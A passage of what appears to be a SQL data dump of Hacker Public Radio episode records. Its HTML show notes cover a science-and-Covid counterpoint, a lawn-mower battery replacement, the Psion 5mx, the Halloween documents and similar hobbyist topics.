href=\"https://www.youtube.com/watch?v=o_AIw9bGogo\" target=_blank>https://www.youtube.com/watch?v=o_AIw9bGogo</a></li>\r\n<li>The Rise and Fall of Copyleft: <a href=\"https://archive.org/download/OhioLinuxfest2013/24-Rob_Landley-The_Rise_and_Fall_of_Copyleft.mp3\" target=_blank>https://archive.org/download/OhioLinuxfest2013/24-Rob_Landley-The_Rise_and_Fall_of_Copyleft.mp3</a></li>\r\n</ul>\r\n',384,111,1,'CC-BY-SA','Berkeley Software Distribution, library operating systems, Android, Copyleft, BSD License, Usenet',0,0,1),
(3442,'2021-10-12','What is this thing called science',790,'Critical thinking is only part of the equation. Here\'s the other part.','<hr />\r\n<h3>Counter Point</h3>\r\n<p>This show is a counter point to: <a href=\"https://hackerpublicradio.org/eps.php?id=3414\">hpr3414 :: Critical Thinking may make You Critical of the Covid Crisis</a>\r\n</p>\r\n<hr />\r\n\r\n<p>Some time ago, I did some Hacker Public Radio episodes in which I ostensibly demonstrated how to create a PDF with Scribus. Secretly, I was actually demonstrating how unexpected payloads could be embedded into a PDF. Did the PDF I uploaded as part of that episode no longer contain a payload if the listener who downloaded it wasn\'t aware that the payload existed?</p>\r\n<p>I\'ve been diagnosed by educators as a \"life long learner,\" which as far as I can tell is a buzzword referring to someone who takes pleasure in learning new things. In our world of technology, dear listener, I think this term is just \"hacker.\" And that\'s appropriate, because this is Hacker Public Radio you\'re listening to now, and listeners of this show tend to be people who enjoy learning and exploring new ideas, taking apart gadgets to see what makes them tick, reverse engineering code and data to understand how it gets processed, and so on.</p>\r\n<p>The thing about being a hacker or a life-long learner is that there\'s a lot of stuff out there that wants to be hacked, or learnt. And it turns out that it\'s just not possible to learn everything. Sometimes, you\'re out of your depth. It can be tricky to recognize when you\'re out of your depth, and I think there\'s a certain learn-able skill to knowing that you don\'t know something. There\'s a lot of value to this skill, because when you can recognize you don\'t have expertise on something, you\'re able to look around you and find someone who has. That\'s significant because you can learn from someone with expertise.</p>\r\n<p>In my own humdrum life, before getting a full-time job at a tech company, I was commissioned on several occasions to build out infrastructure for a video game development project, an indie radio station, a few different multimedia projects, and so on. When I took on those roles, I became the resident expert. People turned to me for the authoritative word on what technological solutions should be used. When I told them, they were more or less obligated to listen, because that was the role I\'d been hired for. If they were to ask me what a workstation should run, and I said Linux, but they bought a Mac instead, then my role would be unarguably redundant. They could just as easily type the question into a search engine on the Internet, and ignore the result. Or they could roll a die, or whatever.</p>\r\n<p>In those cases, though, it\'s a question of my opinion compared to someone else\'s opinion. Both are valid. Because I was the architect, my opinion mattered more to the long-term plan, but if the long-term plan were to change from having a highly-available cluster for fast 3d model rendering to having workstations with a familiar desktop, then my opinion would be less valid.</p>\r\n<p>But there are some areas in life where opinions don\'t matter. Specifically, that area is science. But what is science, anyway? People talk about science a lot, but it took me a long time, especially as someone who largely came from an artistic background, to comprehend the significance of the term, much less how it worked.</p>\r\n<p>Forget about all the high school classes and pop dietitians and physicists. Science is a framework. It\'s a set of principles designed to help our human brains hack the world around us in a methodical and precise way. Instead of letting our opinions, which may or may not be relevant, influence conclusions and decisions we make, science looks at the results of controlled input and output. Wait a minute. \"Input and output\"? Those are words I understand. Those are computer terms!</p>\r\n<p>Yeah it turns out that computers are the product of science, and in fact building computers and programming computers is a form of Computer Science. Those are just words we made up, but they reveal a lot about what we computer hackers do all day. Computers don\'t understand the influence of opinion, or your force of will, or the power of faith. They just take input and produce output. They do this very reliably.</p>\r\n<p>I don\'t know whether you\'ve ever tried, but it\'s really hard to make a computer. Comprehending how a CPU processes rudimentary electrical pulses to transform them into complex instruction sets is mind-bending, at least to me. I\'ve sat down and thought about it critically. I\'ve set up a few experiments, too. There\'s one you can do with dominoes, believe it or not, that can somewhat help you design a logic circuit. There\'s a Turing Machine you can build with Magic The Gathering cards. And an electronics kit that\'ll help you <a href=\"https://eater.net/8bit\">build an 8bit CPU</a>. But even with all of those experiments, the open RISC-V CPU still eludes my comprehension.</p>\r\n<p>And just to be clear: back in 2008 or so, I was hired to stress test a RISC CPU to determine whether it was efficient at rendering massive amounts of video. I designed tests in an attempt to prove that a RISC CPU could not out-perform the latest Intel Core2duo, and could not achieve the goal (RISC is better, what can I say?) So my affinity for RISC is far from just a passing interest. But I can\'t build a RISC-V or even really explain how a CPU works.</p>\r\n<p>For that, I understand that there are experts. These aren\'t just people I call experts because they\'re labeled that way on their shirt pocket. They\'re experts because they\'re building the RISC-V, and it works. I met some of them back at OSS Con in 2019. I recognize their expertise, because they\'re proving their knowledge.</p>\r\n<p>Let\'s say I approached the RISC-V booth with the preconception that x86 was superior. After all, why would most consumer computers be running x86 if it weren\'t the best? I might be skeptical if I were told that RISC-V is superior for some tasks. Could they have ulterior motives? Could they have been paid off by Big Silicon to lie about RISC\'s performance in order to hurt x86\'s marketshare? Sure, it could happen. And that skepticism is important. It\'s arguably part of the scientific process. Look at the results of an experiment, replicate the input and ensure that the output is reliably the same.</p>\r\n<p>But you can\'t be sure until you\'ve duplicated the experiments that make the claim in the first place. Unfortunately, this often requires some pretty controlled environments, and possibly some pretty high end equipment.</p>\r\n<p>The bottom line is that I\'m never going to get around to doing that, I\'m never going to have access to those resources, and I\'m never going to have the understanding I\'d need to comprehend all the potential variables involved. In short, I just don\'t have the expertise. But I\'m willing to trust the expertise of a lot of people from all over the world working on this project. I\'m going to trust that because they all agree on similar findings, that what they\'re saying about the design and architecture of their CPU, that there\'s a high likelihood that their findings are correct.</p>\r\n<p>The same goes, as it turns out, for biological sciences. No matter how many one-off experiments discover that cigarette smoking is beneficial to your health, the wider scientific consensus is that it\'s harmful. No matter how man \"free-thinkers\" on the Internet discover that Covid-19 is actually no worse than the common cold, the worldwide scientific community asserts that it\'s actually harmful, and medical staffs across the globe assert that increased cases of Covid-19 cause bed and healthcare shortages for everyone else. Somebody online may assert that it\'s an impossibly unified globe-spanning political plot, but that relies on a bunch of untest-able opinions and interpretations of reality that fall well outside any scientific framework.</p>\r\n<p>It seems to me that this line of speculation makes about as much sense as asking whether your computer can really still add numbers accurately. Couldn\'t it occasionally be lying to you? The device you\'re using to listen to my voice right now not to scramble what I\'m saying and accurately play what I recorded in the first place is based on the same scientific principles used by those in biological sciences. We\'re feeding data into functions, whether the function is written in code, forged in silicon, or written on paper as a math formula, and we\'re observing the results. When every expert in their field, across the entire globe, agrees on the output, I think we do too. It\'s either that, or we\'d better all go build our own 8bit circuits out of chickens and batteries and just start to rebuild.</p>\r\n<p>So did the PDF I uploaded as part of the Scribus episode no longer contain a payload if the listener who downloaded it wasn\'t aware that the payload existed? Obviously not. If the listener lacked the foresight or expertise to investigate the PDF for a hidden file, then they could have posted an episode of their own about how my PDF was completely normal. They\'d have been confident in their findings. But you and I know that whatever experiments they might have used to come to the conclusion that Klaatu was NOT a liar was, in the end, insufficient. The payload did exist, but it was just outside this imaginary listener\'s detection or comprehension.</p>\r\n<p>Critical thinking is important. But at the same time, the scientific framework requires more than just critical thinking, just as building a RISC-V CPU requires more than just being a fan of reduced instruction sets. And solving the Covid-19 crisis takes a lot more than just critical thinking and a couple of backyard \"experiments.\" We\'re not in the Dark Ages any more, folks. Get vaccinated. Stay safe, and I\'ll talk to you next time.</p>\r\n',78,0,0,'CC-BY-SA','covid, science, risc-v, cpu',0,0,1),
(3443,'2021-10-13','Neuton battery replacement',593,'Rho`n describes replacing the battery in his Neuton EM 4.1 electric lawn mower','<h1 id=\"audio-notes\">Audio Notes</h1>\r\n<p>During the audio I repeatedly called it the Neutron mower instead of the Neuton mower. I was too lazy edit those mispronunciations.</p>\r\n<h1 id=\"introduction\">Introduction</h1>\r\n<p>After recently reclaiming my Neuton EM 4.1 electric lawn mower from my parents, I needed to replace the battery to make it operational. This mower was purchased in the early 2000s, and replacement batteries for it are no longer available from the manufacturer. Thankfully replacement 12V 10A batteries are available through third parties.</p>\r\n<h1 id=\"replacing-parts\">Replacing Parts</h1>\r\n<p>I faced two issues with finding replacement parts. The Neuton mowers run at 24V and need batteries that can provide 10 amps of current. They come with a battery case that holds two 12V 10A batteries connected in series. The case holds the batteries and provides a connector and circuitry for a 24V DC charger. When I received the mower back from my parents, it didn\'t have a battery case with it. While the <a href=\"https://www.neutonpower.com/\">Neuton website</a> is still online, and looks like you can order some accessories still, they no longer carry replacement battery cases or batteries. I was able to find just the case on EBay. I then found replacement batteries on Amazon.</p>\r\n<p>Installing the batteries in the case is simple. One side of the case has a lid. The lid is held in place by plastic notches on the bottom and two screws at the top. The screws have size 10 star heads. The batteries sit side by side in the case, with their terminals facing the lid. I connected the inner terminals (negative of one battery to positive of the other) with the jumper wire that came with the case. I then connected the outer terminals to the battery case terminal wires, slid the batteries all the way into case, closed, and fastened the lid.</p>\r\n<h1 id=\"conclusion\">Conclusion</h1>\r\n<p>The batteries are currently charging. The red charging light did come on when I plugged in the 24V DC charger, and nothing has exploded yet, so I am optimistic I will be able to use the mower again shortly.</p>\r\n<h1 id=\"references\">References</h1>\r\n<ul>\r\n<li>Neuton CE5.4 24 volt rechargeable battery CASE ONLY - <a href=\"https://www.ebay.com/itm/114952181341\">EBay item</a></li>\r\n<li>Mighty Max Battery 12V 10AH Replaces HE12V127 HGL1012 LCRB1210P NEUTON CE5 POWPS12100 Battery - 2 Pack Brand Product - <a href=\"https://www.amazon.com/gp/product/B00K9713L4/ref=ppx_od_dt_b_asin_title_s00?ie=UTF8&amp;psc=1\">Amazon item</a></li>\r\n</ul>\r\n<h1 id=\"attribution\">Attribution</h1>\r\n<p>The transition sound used between audio clips is found on <a href=\"https://freesound.org/\">freesound.org</a>:<br />\r\nName: <a href=\"https://freesound.org/people/DanJFilms/sounds/529064/\">Harp Transition Music Cue</a><br />\r\nAuthor: <a href=\"https://freesound.org/people/DanJFilms/\">DanJFilms</a><br />\r\nLicense: <a href=\"https://creativecommons.org/publicdomain/zero/1.0/\">Creative Commons Zero</a></p>\r\n',293,0,0,'CC-BY-SA','electric lawnmower,lawnmower,rechargeable battery',0,0,1),
(3445,'2021-10-15','True critical thinking seems to be the key',4328,'A response to HPR 3414','<hr>\r\n<h3>Counter Point</h3>\r\n<p>This show is a counter point to: <a href=\"https://hackerpublicradio.org/eps.php?id=3414\">hpr3414 :: Critical Thinking may make You Critical of the Covid Crisis</a>\r\n</p>\r\n<hr />\r\n<h2 id=\"a-response-to-critical-thinking-may-make-you-critical-of-the-covid-crisis\">A response to <em>Critical Thinking may make You Critical of the Covid Crisis</em></h2>\r\n<p><strong>(HPR episode 3414, produced by CoGo and released on 2021-09-02)</strong></p>\r\n<h2 id=\"defining-terms\">Defining terms</h2>\r\n<ul>\r\n<li>What is <em>Critical Thinking</em>?\r\n<ul>\r\n<li>The Wikipedia definition begins: \"<em>Critical thinking is the analysis of facts to form a judgment.</em>\"</li>\r\n<li>It goes on to say: \"<em>The subject is complex, and several different definitions exist, which generally include the rational, skeptical, unbiased analysis, or evaluation of factual evidence.</em>\"</li>\r\n<li>See the references below.</li>\r\n</ul></li>\r\n</ul>\r\n<blockquote>\r\n<p>Note the use of the terms <strong>fact</strong>, <strong>factual evidence</strong> and <strong>unbiased analysis</strong>. It is my contention that HPR episode 3414 fails in these regards in several places.</p>\r\n</blockquote>\r\n<ul>\r\n<li>What is an \"<em>experiment</em>\"?\r\n<ul>\r\n<li>Wikipedias definition begins: \"<em>An experiment is a procedure carried out to support or refute a hypothesis. Experiments provide insight into cause-and-effect by demonstrating what outcome occurs when a particular factor is manipulated.</em>\"</li>\r\n</ul></li>\r\n</ul>\r\n<blockquote>\r\n<p>The term <strong>experiment</strong> is often used incorrectly in episode 3414. A better term would be <strong>observation</strong> or <strong>anecdote</strong></p>\r\n</blockquote>\r\n<ul>\r\n<li>The virus:\r\n<ul>\r\n<li>The virus is a <em>coronavirus</em>. There are many viruses classified in this way.</li>\r\n<li>The name of the virus is <em>SARS-CoV-2</em>. The <em>SARS</em> part stands for <em>Severe Acute Respiratory Syndrome</em>, the type of disease caused by the virus. <em>CoV</em> signifies that it is a <em>coronavirus</em> and the <em>2</em> means its the second SARS-type corona virus to have caused problems in the recent past. The other one, just called <em>SARS</em> occurred in 2003.</li>\r\n<li>The name of the disease caused by SARS-CoV-2 is <em>COVID-19</em>. The letters <em>COVID</em> define it as a coronavirus disease. The <em>19</em> part is because it was first discovered in 2019.</li>\r\n</ul></li>\r\n</ul>\r\n<ul>\r\n<li><strong>References</strong>:\r\n<ul>\r\n<li><a href=\"https://en.wikipedia.org/wiki/Critical_thinking\" title=\"Wikipedia article: Critical thinking\">Wikipedia article on Critical Thinking</a></li>\r\n<li><a href=\"https://www.gre.ac.uk/articles/ils/critical-thinking\" title=\"University of Greenwich article. What is critical thinking?\">University of Greenwich: What is critical thinking?</a></li>\r\n<li><a href=\"https://en.wikipedia.org/wiki/Experiment\" title=\"Wikipedia article: Experiment\">Wikipedia article on Experiments</a></li>\r\n</ul></li>\r\n</ul>\r\n<h2 id=\"long-notes\">Long notes</h2>\r\n<p>Follow this link to <a href=\"https://hackerpublicradio.org/eps/hpr3445/full_shownotes.html\">read the detailed notes</a> associated with this episode.</p>\r\n<h2 id=\"collected-references\">Collected references:</h2>\r\n<ol type=\"1\">\r\n<li>Wikipedia article: Critical thinking:\r\n<ul>\r\n<li><a href=\"https://en.wikipedia.org/wiki/Critical_thinking\">https://en.wikipedia.org/wiki/Critical_thinking</a></li>\r\n</ul></li>\r\n<li>University of Greenwich article. What is critical thinking?:\r\n<ul>\r\n<li><a href=\"https://www.gre.ac.uk/articles/ils/critical-thinking\">https://www.gre.ac.uk/articles/ils/critical-thinking</a></li>\r\n</ul></li>\r\n<li>Wikipedia article: Experiment:\r\n<ul>\r\n<li><a href=\"https://en.wikipedia.org/wiki/Experiment\">https://en.wikipedia.org/wiki/Experiment</a></li>\r\n</ul></li>\r\n<li>Where does the six-foot guideline for social distancing come from?:\r\n<ul>\r\n<li><a href=\"https://qz.com/1831100/where-does-the-six-feet-social-distancing-guideline-come-from/\">https://qz.com/1831100/where-does-the-six-feet-social-distancing-guideline-come-from/</a></li>\r\n</ul></li>\r\n<li>Wikipedia article: Social distancing:\r\n<ul>\r\n<li><a href=\"https://en.wikipedia.org/wiki/Social_distancing\">https://en.wikipedia.org/wiki/Social_distancing</a></li>\r\n</ul></li>\r\n<li>How effective is a mask in preventing COVID19 infection?:\r\n<ul>\r\n<li><a href=\"https://www.ncbi.nlm.nih.gov/pmc/articles/PMC7883189/\">https://www.ncbi.nlm.nih.gov/pmc/articles/PMC7883189/</a></li>\r\n</ul></li>\r\n<li>Why Masks Work BETTER Than Youd Think:\r\n<ul>\r\n<li><a href=\"https://www.youtube.com/watch?v=Y47t9qLc9I4\">https://www.youtube.com/watch?v=Y47t9qLc9I4</a></li>\r\n</ul></li>\r\n<li>Coronavirus disease (COVID-19): Ventilation and air conditioning:\r\n<ul>\r\n<li><a href=\"https://www.who.int/news-room/q-a-detail/coronavirus-disease-covid-19-ventilation-and-air-conditioning\">https://www.who.int/news-room/q-a-detail/coronavirus-disease-covid-19-ventilation-and-air-conditioning</a></li>\r\n</ul></li>\r\n<li>Ventilation and air conditioning during the coronavirus (COVID-19) pandemic:\r\n<ul>\r\n<li><a href=\"https://www.hse.gov.uk/coronavirus/equipment-and-machinery/air-conditioning-and-ventilation/index.htm\">https://www.hse.gov.uk/coronavirus/equipment-and-machinery/air-conditioning-and-ventilation/index.htm</a></li>\r\n</ul></li>\r\n<li>False Perception of COVID-19s Impact on the Homeless:\r\n<ul>\r\n<li><a href=\"https://www.factcheck.org/2020/05/false-perception-of-covid-19s-impact-on-the-homeless/\">https://www.factcheck.org/2020/05/false-perception-of-covid-19s-impact-on-the-homeless/</a></li>\r\n</ul></li>\r\n<li>Vitamin D3 as Potential Treatment Adjuncts for COVID-19:\r\n<ul>\r\n<li><a href=\"https://www.ncbi.nlm.nih.gov/pmc/articles/PMC7697253/\">https://www.ncbi.nlm.nih.gov/pmc/articles/PMC7697253/</a></li>\r\n</ul></li>\r\n<li>Graphic Outbreak of severe acute respiratory syndrome in Hong Kong Special Administrative Region: case report:\r\n<ul>\r\n<li><a href=\"https://www.bmj.com/content/326/7394/850\">https://www.bmj.com/content/326/7394/850</a></li>\r\n</ul></li>\r\n<li>Response to - Graphic Outbreak of severe acute respiratory syndrome in Hong Kong Special Administrative Region: case report:\r\n<ul>\r\n<li><a href=\"https://www.bmj.com/rapid-response/2011/10/29/coronavirus-may-be-killed-higher-body-temperature\">https://www.bmj.com/rapid-response/2011/10/29/coronavirus-may-be-killed-higher-body-temperature</a></li>\r\n</ul></li>\r\n<li>Childhood Vaccination and the NHS:\r\n<ul>\r\n<li><a href=\"https://peopleshistorynhs.org/encyclopaedia/childhood-vaccination-and-the-nhs/\">https://peopleshistorynhs.org/encyclopaedia/childhood-vaccination-and-the-nhs/</a></li>\r\n</ul></li>\r\n<li>COVID-19 false dichotomies and a comprehensive review of the evidence regarding public health, COVID-19 symptomatology, SARS-CoV-2 transmission, mask wearing, and reinfection:\r\n<ul>\r\n<li><a href=\"https://bmcinfectdis.biomedcentral.com/articles/10.1186/s12879-021-06357-4\">https://bmcinfectdis.biomedcentral.com/articles/10.1186/s12879-021-06357-4</a></li>\r\n</ul></li>\r\n<li>Coronavirus (COVID-19) vaccines side effects and safety:\r\n<ul>\r\n<li><a href=\"https://www.nhs.uk/conditions/coronavirus-covid-19/coronavirus-vaccination/safety-and-side-effects/\">https://www.nhs.uk/conditions/coronavirus-covid-19/coronavirus-vaccination/safety-and-side-effects/</a></li>\r\n</ul></li>\r\n<li>TWiV 802: \"Another epitope with Shane Crotty\":\r\n<ul>\r\n<li><a href=\"https://www.youtube.com/watch?v=nEB4oxO9F1A\">https://www.youtube.com/watch?v=nEB4oxO9F1A</a></li>\r\n</ul></li>\r\n<li>UK parliament discussion on 2m rule.\r\n<ul>\r\n<li><a href=\"https://hansard.parliament.uk/Commons/2020-06-15/debates/AE7AB431-1668-4AAA-AA32-8A0B83124D30/details\">https://hansard.parliament.uk/Commons/2020-06-15/debates/AE7AB431-1668-4AAA-AA32-8A0B83124D30/details</a></li>\r\n</ul></li>\r\n<li>Government minister retracts mask claim.\r\n<ul>\r\n<li><a href=\"https://www.holyrood.com/news/view,john-swinney-apologises-for-sharing-covid-face-mask-graphic\">https://www.holyrood.com/news/view,john-swinney-apologises-for-sharing-covid-face-mask-graphic</a></li>\r\n</ul></li>\r\n<li>Nature paper on masks and aerosols.\r\n<ul>\r\n<li><a href=\"https://www.nature.com/articles/s41598-020-72798-7\">https://www.nature.com/articles/s41598-020-72798-7</a></li>\r\n</ul></li>\r\n<li>Our World in Data.\r\n<ul>\r\n<li><a href=\"https://ourworldindata.org/covid-cases\">https://ourworldindata.org/covid-cases</a></li>\r\n</ul></li>\r\n<li>Nature paper on COVID-19 and T cells.\r\n<ul>\r\n<li><a href=\"https://www.nature.com/articles/s41586-020-2550-z\">https://www.nature.com/articles/s41586-020-2550-z</a></li>\r\n</ul></li>\r\n<li>Antibody waning and COVID-19.\r\n<ul>\r\n<li><a href=\"https://www.ouh.nhs.uk/covid-19/news/article.aspx?id=1415\">https://www.ouh.nhs.uk/covid-19/news/article.aspx?id=1415</a></li>\r\n</ul></li>\r\n</ol>\r\n',225,100,1,'CC-BY-SA','COVID-19,social distancing,masks,aerosol,Vitamin D3,body temperature,vaccines',0,0,1),
(3444,'2021-10-14','The Psion series 5mx',1178,'A show where I talk about my experiences of the Psion 5mx, a portable computer from the late 90s','<p>The psion series 5mx is a portable computer from the late 90s, here\'s my episode talking about it.</p>\r\n<ul>\r\n<li><a href=\"https://en.wikipedia.org/wiki/Psion_Series_5\" class=\"uri\">https://en.wikipedia.org/wiki/Psion_Series_5</a></li>\r\n<li>PLPTools (syncing with modern linux): <a href=\"https://github.com/rrthomas/plptools\" class=\"uri\">https://github.com/rrthomas/plptools</a></li>\r\n<li>Nconvert (file converter): <a href=\"https://web.archive.org/web/20161130192611/https://neuon.com/downloads/nconvert/\" class=\"uri\">https://web.archive.org/web/20161130192611/https://neuon.com/downloads/nconvert/</a></li>\r\n<li>Programming book: <a href=\"https://archive.org/details/book_20210531\" class=\"uri\">https://archive.org/details/book_20210531</a></li>\r\n<li>psion linux SDK: <a href=\"https://github.com/static-void/psion_cpp_sdk_linux.git\" class=\"uri\">https://github.com/static-void/psion_cpp_sdk_linux.git</a></li>\r\n<li>Eric Lindsey\'s site, with lots of psion software: <a href=\"https://ericlindsay.com/epoc/index.htm\" class=\"uri\">https://ericlindsay.com/epoc/index.htm</a></li>\r\n</ul>\r\n<p>Apologies for talking quickly!</p>',381,0,0,'CC-BY-SA','retro, psion, programming, pdas',0,0,1),
(3452,'2021-10-26','Neuton battery test',324,'Rho`n describes testing the battery in his Neuton EM 4.1 electric lawn mower','<h2 id=\"introduction\">Introduction</h2>\r\n<p>On today\'s show I test whether the battery replacement for my Neuton mower is a success. This is a follow up to <a href=\"https://hackerpublicradio.org/eps.php?id=3443\">episode 3443</a>. After some audio recording difficulties with the blue tooth headset I used with my phone, we hear if the replacement was successful. Before I could test the battery, I needed to replace the mower key. I think it would have been simple to just jump the terminals with a wire and maybe some alligator clips to hold the wire to the key terminals, but I was worried this would not guarantee the wire shaking loose as I moved. I looked on EBay and found a replacement key for about fifteen dollars US, and decided it was worth the cost and the wait before trying out the mower.</p>\r\n<h2 id=\"testing-the-mower\">Testing the mower</h2>\r\n<p>After putting the key in the mower, pulling and holding the safety levers, and then pressing the start button. The mower wouldn\'t start. I checked the key was set properly, and saw the green LED on the handle lit and indicating that power was available. I pulled the key and battery out, and then reseated both of them, checking once again that the power indicator was lit. After some fooling around with the safety levers and start button, I realized you had to push the start button and then pull and hold the safety levers for the mower to start. The mower runs well, and the cost of the batteries and key will even out over time from the savings on not paying for a lawn service.</p>\r\n<h2 id=\"references\">References</h2>\r\n<ul>\r\n<li>DR Neuton Cordless Walk Behind 14\" Lawn Mower CE2 CE3 CE5 Reset Security Key - <a href=\"https://www.ebay.com/itm/184176055409?ViewItem=&amp;item=184176055409\">EBay item</a></li>\r\n</ul>\r\n<h2 id=\"attribution\">Attribution</h2>\r\n<p>The transition sound used between audio clips is found on <a href=\"https://freesound.org/\">freesound.org</a>:<br />\r\nName: <a href=\"https://freesound.org/people/DanJFilms/sounds/529064/\">Harp Transition Music Cue</a><br />\r\nAuthor: <a href=\"https://freesound.org/people/DanJFilms/\">DanJFilms</a><br />\r\nLicense: <a href=\"https://creativecommons.org/publicdomain/zero/1.0/\">Creative Commons Zero</a></p>',293,0,0,'CC-BY-SA','electric lawnmower,lawnmower,rechargeable battery',0,0,1),
(3447,'2021-10-19','BlacKernel\'s Journey Into Technology: Episode 2',1249,'In which BlacKernel struggles to talk about Windows','<h2>Talking Points</h2>\r\n<ul>\r\n <li>W*ndows Power User\r\n <ul>\r\n <li>Programmed a few Visual BASIC programs, but was underwhelmed with how BASIC the programming language was</li>\r\n <li>Tried installing Python and Ruby to much frustration</li>\r\n <li>Tried installing Cygw*n to make Python/Ruby easier to work with</li>\r\n <li>Read on the Cygw*n site about something called <b><a href=\"#show-notes\">Linux</a></b></li>\r\n <li>Started working with C and C++</li>\r\n </ul></li>\r\n <li>Customizing my deck\r\n <ul>\r\n <li>Tried to customize as much as I could about my W*ndows install</li>\r\n <li>Utilized tools to change the boot logo, the start menu, the init scripts, etc.</li>\r\n <li>Hit a few snags with problems boot-looping, not loading graphically, etc</li>\r\n <li>Tried editing the W*ndows registry and realized that the programs I was using to edit the operating system necessarily break the security and stability of the OS</li>\r\n <li>Didn\'t really know/care about open source, but was getting frustrated that I wasn\'t able to just reach in to my system\'s code to fix it.</li>\r\n </ul></li>\r\n</ul>\r\n\r\n<hr>\r\n\r\n<h2 id=\"show-notes\">Show Notes</h2>\r\n<h4>Important Links:</h4>\r\n<ul>\r\n <li>I couldn\'t really find any of the stuff that I used and, at this point, I\'m not super motivated to find them.</li>\r\n</ul>\r\n\r\n<h4>Wikipedia Articles:</h4>\r\n<ul>\r\n <li><a href=\"https://en.wikipedia.org/wiki/Thomas_Hobbes\">https://en.wikipedia.org/wiki/Thomas_Hobbes</a></li>\r\n</ul>\r\n\r\n\r\n<hr>\r\n\r\n<i>Contact Me</i>\r\n<ul>\r\n<li><b>Email: </b><a href=\"mailto:izzyleibowitz@pm.me\">izzyleibowitz at pm dot me</a></li>\r\n<li><b>Mastodon: </b><a href=\"https://nixnet.social/BlacKernel\">at blackernel at nixnet dot social</a></li>\r\n</ul>\r\n\r\n',396,0,1,'CC-BY-SA','technology, windows, w*ndows, losedows, introductions, linux, dos',0,0,1),
(3449,'2021-10-21','Linux Inlaws S01E41: The Halloween Documents',3956,'The Halloween Documents','<p>In this infomercial on Microsoft, our hosts discuss the infamous Halloween\r\ndocuments (\'tis the season after all), a set of ancient scrolls dating back\r\nmore than twenty years and giving an overview of the behemoth\'s then strategy\r\non open source and how to possibly combat it. But fear not, ye of little faith\r\n:-), all is well now as the episode shows also the long way Microsoft has come\r\nsince then and its adoption (and giving back!) as an enterprise technology.</p>\r\n\r\n<p>Plus: How to increase your market cap by using FLOSS. And last but not least:\r\nThe Dark Side is back by popular demand! With a special episode on the usual\r\nHalloween stuff including vampires, Transylvania, politicians, QAnon, Zoom,\r\nTeams and other horror topics (Ever wondered what happened to Angela Merkel\r\nafter she stepped down as Germany\'s chancelorette in 2021? Then don\'t miss out\r\non this episode!).</p>\r\n\r\n<h2>Links:</h2>\r\n<ul>\r\n<li>Little Britain: <a href=\"https://www.bbc.co.uk/programmes/b006q2zd\" target=_blank>https://www.bbc.co.uk/programmes/b006q2zd</a></li>\r\n<li>SCO Group: <a href=\"https://en.wikipedia.org/wiki/SCO_Group\" target=_blank>https://en.wikipedia.org/wiki/SCO_Group</a></li>\r\n<li>SCO vs. IBM: <a href=\"https://en.wikipedia.org/wiki/SCO_Group,_Inc._v._International_Business_Machines_Corp.\" target=_blank>https://en.wikipedia.org/wiki/SCO_Group,_Inc._v._International_Business_Machines_Corp.</a></li>\r\n<li>Halloween documents: <a href=\"https://en.wikipedia.org/wiki/Halloween_documents\" target=_blank>https://en.wikipedia.org/wiki/Halloween_documents</a></li>\r\n<li>Microsoft and open source: <a href=\"https://en.wikipedia.org/wiki/Microsoft_and_open_source\" target=_blank>https://en.wikipedia.org/wiki/Microsoft_and_open_source</a></li>\r\n<li>Monsters of Man: <a href=\"https://www.imdb.com/title/tt6456326\" target=_blank>https://www.imdb.com/title/tt6456326</a></li>\r\n<li>Breeders: <a href=\"https://en.wikipedia.org/wiki/Breeders_(TV_series)\" target=_blank>https://en.wikipedia.org/wiki/Breeders_(TV_series)</a></li>\r\n<li>Permanent penis for the Welsh Dragon: <a href=\"https://www.dailymail.co.uk/news/article-9932657/Hilarious-campaigners-demand-famous-red-dragon-given-permanent-penis-Welsh-flags.html\" target=_blank>https://www.dailymail.co.uk/news/article-9932657/Hilarious-campaigners-demand-famous-red-dragon-given-permanent-penis-Welsh-flags.html</a></li>\r\n</ul>\r\n',384,111,1,'CC-BY-SA','Microsoft, Google, The Dark Side, Halloween, Transylvania, Carmesine-colored Soy Milk, vegan vampire',0,0,1),
(3471,'2021-11-22','The Sony Walkman WM-F41',531,'A quick talk about one of my favorite Legacy Audio devices, a genuine Sony FM/AM cassette Walkman.','<p>This episode is just a quick talk about one of my favorite legacy audio devices, my Sony FM/AM cassette Walkman, model WM-F41.</p>\r\n\r\n\r\n<h2>Links</h2>\r\n\r\n<ul>\r\n<li><a href=\"https://retrospekt.com/products/sony-walkman-wm-f31-f41\">Sony Walkman WM-F41</a></li>\r\n<li><a href=\"https://www.behringer.com/product.html?modelCode=P0576\">Behringer Xenyx 502 Mixer</a></li>\r\n<li>Music is from Kimiko Ishizaka\'s <em>The Open Art of Fugue</em>: <a href=\"https://music.kimiko-piano.com/album/j-s-bach-the-art-of-the-fugue-kunst-der-fuge-bwv-1080\">https://music.kimiko-piano.com/album/j-s-bach-the-art-of-the-fugue-kunst-der-fuge-bwv-1080</a>, used by permission of its <a href=\"https://creativecommons.org/publicdomain/zero/1.0/\">CC0 1.0 Universal (CC0 1.0) Public Domain Dedication license</a>.</li>\r\n</ul>\r\n\r\n',238,0,0,'CC-BY-SA','audio, vintage audio, cassette tapes, tape players, portable stereos, audio repair',0,0,1),
(3468,'2021-11-17','Distro upgrade intervals on my Raspberry Pi',786,'In this episode I discuss Debian distro upgrade intervals for my raspberry Pi','<h2 id=\"a-discussion-about-debian-lts-distro-upgrade-intervals-on-my-raspberry-pi\">A discussion about Debian LTS distro upgrade intervals on my Raspberry Pi</h2>\r\n<h3 id=\"relevant-links-below\">Relevant links below</h3>\r\n<p><a href=\"https://wiki.debian.org/DebianReleases\">Debian release information</a></p>\r\n<p><a href=\"https://hackerpublicradio.org/eps.php?id=3266\">My previous episode from last year where I covered the upgrade on my raspberry Pi from Debian Jessie 8 to Stretch 9</a></p>\r\n<p><a href=\"https://hackerpublicradio.org/eps.php?id=2901\">A previous episode where I describe my raspberry Pi add-on board and what I use it for</a></p>\r\n',201,0,1,'CC-BY-SA','Linux, Distros, Raspberry Pi, Debian',0,0,1),
